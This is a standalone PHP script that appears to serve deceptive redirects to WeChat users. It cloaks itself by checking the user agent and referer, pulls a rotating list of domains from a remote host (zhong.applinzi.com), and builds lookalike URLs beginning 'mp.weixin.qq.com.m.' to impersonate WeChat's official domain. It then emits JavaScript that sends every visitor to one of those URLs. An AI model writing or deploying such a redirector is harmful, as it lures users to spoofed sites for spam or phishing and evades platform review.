<?php
	error_reporting(0);
  header('Content-Type: application/x-javascript; charset=UTF-8');
  header("Access-Control-Allow-Origin: *"); 
	if(!strstr($_SERVER['HTTP_USER_AGENT'],"MicroMessenger")) 
	{	
	 header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found");	
	}

	$ursss= $_SERVER["HTTP_REFERER"]; 
	if($ursss=="")	{	
	 header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found");	
	}
	
	function getRandChar($length){
   $str = null;
   $strPol = "abcdefghijklmnopqrstuvwxyz";
   $max = strlen($strPol)-1;

   for($i=0;$i<$length;$i++){
    $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
   }

   return $str;
  } 
   $js=getRandChar(8);
    $file = 'http://zhong.applinzi.com/ad.txt'; 
    $content =  @file_get_contents($file); 
    $share = explode("\r\n", $content);
	$useShare = $share[rand(0, count($share) - 1)];
	$useShare= 'http://mp.weixin.qq.com.m.'.$useShare.'/ss/'.$js;

echo '<script>
    var ua = navigator.userAgent;  
    if(ua.indexOf("Android")>0 || ua.indexOf("iPhone")>0 || ua.indexOf("iPad")>0){//移动端  
        location.href="'.$useShare.'";  
    }else{//pc端  
        location.href="'.$useShare.'";  
    } 
</script>';

    
?>